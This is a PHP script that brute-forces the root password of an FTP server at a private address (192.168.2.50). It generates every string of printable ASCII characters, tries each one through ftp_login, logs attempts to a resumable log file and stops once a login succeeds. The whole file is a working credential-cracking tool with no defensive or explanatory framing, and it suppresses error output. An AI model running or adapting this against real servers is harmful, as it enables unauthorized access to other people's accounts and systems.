<?php 
error_reporting(0);
class PWD{
	
	var $letters;
	var $letter_lenth;
	var $letter_choose;
	var $file_log_name;
	var $file_exit_name;
	var $filehand;
	
	///message:/(s|f|e)-(\w+)-(\d+)-(\[[0-9,.]+\])/
	
	function __construct(){
		$this->letters=array();
		for($i=33;$i<=126;$i++){
			$this->letters[]=chr($i);
		}
		//$this->letters=array(1,2,3,4,5);
		$this->letter_lenth=count($this->letters);
		$this->file_exit_name='./exit.txt';
		$this->file_log_name='./log.txt';
		if(file_exists($this->file_log_name)){
			$this->filehand=fopen($this->file_log_name, 'r+');
			if($this->filehand){
				while(!feof($this->filehand)){
					$str=fgets($this->filehand);
					if($str=='')continue;
					$strcount=preg_match_all('/(s|f|e)\t(\w+)\t(\[[0-9,.]+\])/', $str, $matches);
					if($strcount){
						for($i=$strcount-1;$i>=0;$i--){
							switch ($matches[1][$i]){
								case 's':exit();
								case 'e':
								case 'f':
									$this->letter_choose=json_decode($matches[3][$i]);break;
							}
						}
					}
				}
			}
		}else{
			$this->letter_choose=array();
			$this->filehand=fopen($this->file_log_name, 'w');
		}
		if(file_exists($this->file_exit_name))exit();
		
	}
	
	function __destruct(){
		fclose($this->filehand);
	}
	
	/**
	 * 
	 * get a sign password
	 * @return (true:there is a right password,false:there is not a right password)
	 */
	function token_next(){
		for($i=0;$i<count($this->letter_choose);$i++){
			if((1+$this->letter_choose[$i])<$this->letter_lenth){
				$this->letter_choose[$i]++;
				for($j=0;$j<$i;$j++){
					$this->letter_choose[$j]=0;
				}
				return true;
			}
		}if(count($this->letter_choose)<$this->letter_lenth){
			foreach($this->letter_choose as &$i){
				$i=0;
			}
			$this->letter_choose[]=0;
			return true;
		}
		return false;
	}
	
	/**
	 * get the password
	 * @return string;
	 */
	function letter_get(){
		$l='';
		foreach($this->letter_choose as $i){
			$l.=$this->letters[$i];
		}
		return $l;
	}
	
	/**
	 * 
	 * there login method
	 * @param string $pwd
	 */
	function login($pwd){
		$ftp=ftp_connect('192.168.2.50',21);
		if(ftp_login($ftp, 'root', $pwd)){
			return true;
		}else{
			return false;
		}
	}
	
	/**
	 * 
	 * Enter description here ...
	 * @return (true:find this password,false:exit by control)
	 */
	function action(){
		while($this->token_next()){
			
			$pwd=$this->letter_get();
			if($this->login($pwd)){
				fwrite($this->filehand, "s\t".$pwd."\t".json_encode($this->letter_choose)."\r\n");
				fclose(fopen($this->file_exit_name, 'w'));
				return true;
			}else{
				fwrite($this->filehand, "f\t".$pwd."\t".json_encode($this->letter_choose)."\r\n");
			}
			if(file_exists($this->file_exit_name)){
				return false;
			}
		}
	}
}

$PWD=new PWD();
$PWD->action();
?>